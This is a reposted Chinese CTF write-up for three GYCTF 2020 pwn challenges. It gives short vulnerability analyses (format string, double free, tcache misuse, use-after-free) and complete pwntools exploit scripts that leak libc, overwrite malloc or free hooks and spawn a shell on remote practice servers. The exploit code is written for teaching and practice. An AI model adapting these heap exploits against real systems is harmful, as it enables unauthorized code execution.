gyctf_2020_some_thing_interesting(格式化字符串漏洞, double free)
程序分析
开始前要先输入验证码,可输入长度为19,然而比较长度仅为14
这个函数中有格式化字符串漏洞,字符串为之前输入的验证码
删除之后指针没有置空,double free
漏洞利用
- 利用格式化字符串漏洞泄露libc地址
- 进行两次add,对于每次add,其中一个大小为0x68,另一个随意
- delete(1), delete(2), delete(1),该题目编号从1开始,不直接double free因为会崩
- 把chunk大小为0x70块的fd改为__malloc_hook-0x23,劫持即可
Exp
from pwn import *
r = remote("node3.buuoj.cn", 27484)
#r = process("./gyctf_2020_some_thing_interesting")
context.log_level = 'debug'
elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
def add(size1, content1, size2, content2):
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(size1))
r.recvuntil("> O : ")
r.send(content1)
r.recvuntil("> RE's length : ")
r.sendline(str(size2))
r.recvuntil("> RE : ")
r.send(content2)
def delete(index):
r.recvuntil("#######################\n")
r.sendline('3')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def show(index):
r.recvuntil("#######################\n")
r.sendline('4')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
def edit(index, content1, content2):
r.recvuntil("#######################\n")
r.sendline('2')
r.recvuntil("> Oreo ID : ")
r.sendline(str(index))
r.recvuntil("> O : ")
r.sendline(content1)
r.recvuntil("> RE : ")
r.sendline(content2)
r.recvuntil("> Input your code please:")
r.sendline("OreOOrereOOreO"+'%17$p') #elf 11 libc 17
r.recvuntil("#######################\n")
r.sendline('0')
r.recvuntil("# Your Code is ")
''' get elf base
r.recvuntil('0x')
elf_base = int(r.recv(12), 16) - 0x161A
success("elf_base:"+hex(elf_base))
captcha = elf_base + 0x202050
content_o = elf_base + 0x2020E0
'''
r.recvuntil('0x')
start_main = int(r.recv(12), 16) - 0xf0
libc.address = start_main - libc.sym['__libc_start_main']
malloc_hook = libc.sym['__malloc_hook']
one_gadget = one_gadget_16[3] + libc.address
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
success("start+main"+hex(start_main))
success("libc_base:"+hex(libc.address))
add(0x68, 'chunk0\n', 0x20, 'chunk1\n')
add(0x68, 'chunk2\n', 0x20, 'chunk3\n')
delete(1)
delete(2)
delete(1)
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,p64(malloc_hook-0x23)+'\n')
add(0x68, p64(malloc_hook-0x23)+'\n', 0x68,'a'*0x13+p64(one_gadget)+'\n')
r.recvuntil("#######################\n")
r.sendline('1')
r.recvuntil("> O's length : ")
r.sendline(str(0x68))
r.interactive()
gyctf_2020_signin(tcache unlink检查不完整)
题目分析
本题有后门函数,所以目标就是让ptr不为空
edit函数没有检查,可以UAF,不过只有一次机会
添加的机会为9次
漏洞利用
本题需要利用ubuntu 18的tcache实现
- 进行8次add(),然后全部释放,此时7个进入tcache,1个进入fastbin
- 利用edit 修改fastbin的fd为ptr-0x10
- 再进行一次add(),此次会从tcache中取出,然后触发backdoor(),进行calloc(calloc的特性会导致直接从fastbin中取出chunk),从fastbin中取出chunk之后,就把ptr-0x10当做chunk放入tcache(在链入时,会向其fd域写入链表的相关信息,并且发现,在链入过程中,不会对该chunk做size合法性检查)
Exp
from pwn import *
r = remote("node3.buuoj.cn", 26109)
#r = process("./gyctf_2020_signin")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *0x4014DE
b *0x401494
x/10gx 0x4040C0
c
''')
elf = ELF("./gyctf_2020_signin")
libc = ELF('./libc/libc-2.27.so')
ptr = 0x4040C0
def add(index):
r.recvuntil("your choice?")
r.sendline('1')
r.recvuntil("idx?\n")
r.sendline(str(index))
def delete(index):
r.recvuntil("your choice?")
r.sendline('3')
r.recvuntil("idx?\n")
r.sendline(str(index))
def edit(index, content):
r.recvuntil("your choice?")
r.sendline('2')
r.recvuntil("idx?\n")
r.sendline(str(index))
r.send(content)
for i in range(8):
add(i)
for i in range(8):
delete(i)
pause()
edit(7, p64(ptr-0x10))
add(8)
r.recvuntil("your choice?")
r.sendline('6')
r.interactive()
gyctf_2020_document(UAF, 修改堆上指针)
程序分析
删除之后指针没有置空,并且只删除内容没有删除控制结构
对于每个document只有一次修改机会
并且修改时做了偏移,只能修改低0x70个字节,意味着不能修改fd
漏洞利用
- 申请两个document[0, 1],释放0,通过0泄露libc地址
- 申请document[2],此时会切割document[0]的内容的一部分作为document[2]的控制结构,把剩下的部分放入smallbin
- 释放1,1的内容进入unsorted bin,申请document[3],此时会把剩下的document[0]的内容的一部分作为document[2]的控制结构,并且document[3]的内容和document[1]的内容为同一内存
- 编辑document[0],在其中伪造一个chunk——p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8,这样就修改了document[3]的内容指针
- 编辑document[3],写入system地址,然后释放
Exp
from pwn import *
r = remote("node3.buuoj.cn", 28777)
#r = process("./gyctf_2020_document")
context.log_level = 'debug'
elf = ELF("./gyctf_2020_document")
libc = ELF('./libc/libc-2.23.so')
one_gadget_16 = [0x45216,0x4526a,0xf02a4,0xf1147]
menu = "Give me your choice : \n"
def add(name, sex, content):
r.recvuntil(menu)
r.sendline('1')
r.recvuntil("input name\n")
r.send(name)
r.recvuntil("input sex\n")
r.send(sex)
r.recvuntil("input information\n")
r.send(content)
def delete(index):
r.recvuntil(menu)
r.sendline('4')
r.recvuntil("Give me your index : \n")
r.sendline(str(index))
def show(index):
r.recvuntil(menu)
r.sendline('2')
r.recvuntil("Give me your index : \n")
r.sendline(str(index))
def edit(index, content):
r.recvuntil(menu)
r.sendline('3')
r.recvuntil("Give me your index : \n")
r.sendline(str(index))
r.recvuntil("Are you sure change sex?\n")
r.send('N\n')
r.recvuntil("Now change information\n")
r.send(content)
add('a'*8, 'b'*8, 'c'*0x70+'\n')#0
add('a'*8, 'b'*8, 'c'*0x70+'\n')#1
delete(0)
show(0)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x58 - 0x10
success("malloc_hook:"+hex(malloc_hook))
libc.address = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#2
delete(1)
add('/bin/sh\x00', '/bin/sh\x00', 'c'*0x70+'\n')#3
edit(0, p64(0)+p64(0x21)+p64(free_hook-0x10)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8+'\n')
edit(3,p64(system)+p64(0)*13+'\n')
delete(1)
r.interactive()
转载:https://blog.csdn.net/weixin_44145820/article/details/105511292
查看评论